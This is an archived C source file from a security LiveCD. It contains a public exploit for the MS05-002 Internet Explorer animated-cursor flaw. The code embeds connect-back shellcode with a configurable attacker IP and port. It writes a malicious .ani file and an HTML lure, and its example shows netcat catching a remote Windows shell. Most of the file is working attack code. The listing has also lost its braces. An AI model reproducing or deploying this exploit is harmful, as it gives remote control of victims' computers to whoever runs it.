home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / WC-ms05002-ani-expl-cb.c < prev   
C/C++ Source or Header  |  2005-03-05  |  8KB  |  242 lines

  1. /* WC-ms05002-ani-expl-cb.c: 2005-01-30: PUBLIC v.0.2 
  2.  * 
  3.  * Copyright (c) 2004-2005 WhiskyCoders. 
  4.  * 
  5.  * (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit 
  6.  * (CAN-2004-1049) 
  7.  * 
  8.  * WhiskyCoders - http://bennupg.ath.cx
  9.  * Greetz: nitrous, kubaner, cryogen, rowter, dex, beck, and everyone else in the vulnfact.com crew
  10.  * 
  11.  * (universal -- for all affected systems) 
  12.  * --------------------------------------------------------------------- 
  13.  * Notes:
  14.  *    This is a mod of houseofdabus (HOD-ms05002-ani-expl.c) exploit.
  15.  *    http://www.k-otik.com/exploits/20050123.HOD-ms05002-ani-expl.c.php
  16.  * --------------------------------------------------------------------- 
  17.  * Description: 
  18.  *    A remote code execution vulnerability exists in the way that 
  19.  *    cursor, animated cursor, and icon formats are handled. An attacker 
  20.  *    could try to exploit the vulnerability by constructing a malicious 
  21.  *    cursor or icon file that could potentially allow remote code 
  22.  *    execution if a user visited a malicious Web site or viewed a 
  23.  *    malicious e-mail message. An attacker who successfully exploited 
  24.  *    this vulnerability could take complete control of an affected 
  25.  *    system. 
  26.  * 
  27.  * --------------------------------------------------------------------- 
  28.  * Patch: 
  29.  *    http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx 
  30.  * 
  31.  * --------------------------------------------------------------------- 
  32.  * Tested on: 
  33.  *    - Windows Server 2003 
  34.  *    - Windows XP SP1 
  35.  *    - Windows XP SP0 
  36.  *    - Windows 2000 SP4 
  37.  *    - Windows 2000 SP3 
  38.  *    - Windows 2000 SP2 
  39.  * 
  40.  * --------------------------------------------------------------------- 
  41.  * Compile: 
  42.  * 
  43.  * Win32/VC++  : cl -o WC-ms05002-ani-expl-cb WC-ms05002-ani-expl-cb.c 
  44.  * Win32/cygwin: gcc -o WC-ms05002-ani-expl-cb WC-ms05002-ani-expl-cb.c 
  45.  * Linux       : gcc -o WC-ms05002-ani-expl-cb WC-ms05002-ani-expl-cb.c 
  46.  * 
  47.  * --------------------------------------------------------------------- 
  48.  * Example: 
  49.  * 
  50.  **ATTACKER:
  51.  *
  52.  * d00d@whiskybox $ WC-ms05002-ani-expl-cb poc 7778 192.168.0.30
  53.  * <...> 
  54.  * [*] Creating poc.ani file ... Ok 
  55.  * [*] Creating poc.html file ... Ok 
  56.  * 
  57.  * d00d@whiskybox $ netcat -l -p 7778 -v
  58.  *
  59.  **VICTIM:
  60.  *
  61.  * C:\> iexplore C:\poc.html 
  62.  * 
  63.  **ATTACKER:
  64.  * d00d@whiskybox $ netcat -l -p 7778 -v
  65.  * Microsoft Windows 2000 [Version 5.00.2195] 
  66.  * (C) Copyright 1985-2000 Microsoft Corp. 
  67.  * 
  68.  * C:\Documents and Settings\Administrator\Desktop> 
  69.  * 
  70.  * --------------------------------------------------------------------- 
  71.  * 
  72.  *   This is provided as proof-of-concept code only for educational 
  73.  *   purposes and testing by authorized individuals with permission to 
  74.  *   do so. 
  75.  * 
  76.  */ 
  77.  
  78. #include <stdio.h> 
  79. #include <stdlib.h> 
  80.  
  81.  
  82. /* ANI header */ 
  83. unsigned char aniheader[] = 
  84. "\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68" 
  85. "\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00" 
  86. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
  87.  
  88. /* jmp offset, no Jitsu */ 
  89. "\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90" 
  90. "\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00" 
  91. "\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00" 
  92. "\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00" 
  93. "\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00" 
  94. "\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00" 
  95. "\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
  96. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
  97. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
  98. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
  99. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 
  100.  
  101.  
  102. /* connectback shellcode */ 
  103. unsigned char shellcode[] = 
  104. "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
  105. "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
  106. "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
  107. "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
  108. "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
  109. "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
  110. "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
  111. "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
  112. "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
  113. "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" 
  114. "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" 
  115. "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" 
  116. "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" 
  117. "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" 
  118. "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" 
  119. "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" 
  120. "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" 
  121. "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" 
  122. "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" 
  123. "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" 
  124. "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" 
  125. "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" 
  126. "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" 
  127. "\x77\x38\xff\x55\x20\xff\x55\x0c";
  128.  
  129. #define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283)) = (ip) 
  130. #define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290)) = (port)  
  131.  
  132. unsigned char discl[] = 
  133. "This is provided as proof-of-concept code only for educational" 
  134. " purposes and testing by authorized individuals with permission" 
  135. " to do so."; 
  136.  
  137. unsigned char html[] = 
  138. "<html>\n" 
  139. "(MS05-002) Microsoft Internet Explorer .ANI Files Handling 
  140. Exploit" 
  141. "<br>Copyright (c) 2004-2005 :: WhiskyCoders :: <br><a href 
  142. =\"" 
  143. "http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">" 
  144. "Patch (MS05-002)</a>\n" 
  145. "<script>alert(\"%s\")</script>\n<head>\n\t<style>\n" 
  146. "\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n" 
  147. "</html>"; 
  148.  
  149.  
  150. unsigned short 
  151. fixx(unsigned short p) 
  152. unsigned short r = 0; 
  153. r  = (p & 0xFF00) >> 8; 
  154. r |= (p & 0x00FF) << 8; 
  155.  
  156. return r; 
  157.  
  158. void 
  159. usage(char *prog) 
  160. printf("Usage:\n"); 
  161. printf("%s <file> <port> <ip>\n\n", prog); 
  162. exit(0); 
  163.  
  164.  
  165. int 
  166. main(int argc, char **argv) 
  167. FILE *fp; 
  168. unsigned short port; 
  169. unsigned long backip = 0;
  170. unsigned char f[256+5] = ""; 
  171. unsigned char anib[912] = ""; 
  172.  
  173.  
  174. printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n\n"); 
  175. printf("\tCopyright (c) 2004-2005 :: WhiskyCoders :: \n\n\n"); 
  176. printf("Tested on all affected systems:\n"); 
  177. printf("   [+] Windows Server 2003\n   [+] Windows XP SP1, SP0\n"); 
  178. printf("   [+] Windows 2000 All SP\n\n"); 
  179.  
  180. printf("%s\n\n", discl); 
  181. if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) { 
  182. printf("[-] Size of shellcode must be <= 686 bytes\n"); 
  183. return 0; 
  184. if (argc < 3) usage(argv[0]); 
  185.  
  186. if (strlen(argv[1]) > 256) { 
  187. printf("[-] Size of filename must be <=256 bytes\n"); 
  188. return 0; 
  189.  
  190. /* creating ani file */ 
  191. strcpy(f, argv[1]); 
  192. strcat(f, ".ani"); 
  193. printf("[*] Creating %s file ...", f); 
  194. fp = fopen(f, "wb"); 
  195. if (fp == NULL) { 
  196. printf("\n[-] error: can\'t create file: %s\n", f); 
  197. return 0; 
  198. memset(anib, 0x90, 912); 
  199.  
  200. /* header */ 
  201. memcpy(anib, aniheader, sizeof(aniheader)-1);
  202.  
  203. /* shellcode */ 
  204. port = atoi(argv[2]); 
  205. SET_CONNECTBACK_PORT(shellcode, fixx(port)); 
  206.  
  207. backip = inet_addr(argv[3]); 
  208. SET_CONNECTBACK_IP(shellcode, backip); 
  209.  
  210. memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1); 
  211.  
  212. fwrite(anib, 1, 912, fp); 
  213. printf(" Ok\n"); 
  214. fclose(fp); 
  215.  
  216. /* creating html file */ 
  217. f[0] = '\0'; 
  218. strcpy(f, argv[1]); 
  219. strcat(f, ".html"); 
  220. printf("[*] Creating %s file ...", f); 
  221. fp = fopen(f, "wb"); 
  222. if (fp == NULL) { 
  223. printf("\n[-] error: can\'t create file: %s\n", f); 
  224. return 0; 
  225. sprintf(anib, html, discl, argv[1]); 
  226. fwrite(anib, 1, strlen(anib), fp); 
  227. printf(" Ok\n"); 
  228. fclose(fp); 
  229.  
  230. return 0; 
  231.  
  232.